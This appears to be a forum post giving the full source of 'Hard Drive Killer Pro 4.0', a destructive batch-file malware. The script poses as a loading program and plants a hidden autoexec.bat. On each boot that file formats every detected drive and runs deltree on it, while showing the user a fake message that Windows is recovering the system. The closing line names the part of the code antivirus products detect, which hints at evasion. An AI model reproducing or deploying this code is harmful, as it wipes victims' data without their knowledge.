во код HDD killer

@echo off
rem Fastest way to format your computer.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul

rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's damn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:testdrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
if %drive%.==. set drive=c
del drivechk.bat >nul

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Hard Drive Killer Pro Version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 3. This breach of your security will benefit you in the long-run, so don't worry. Think about it.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\% %2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\% %2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
cls
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls

:end

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I was told this is the part of the code that AV Companies catch:
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
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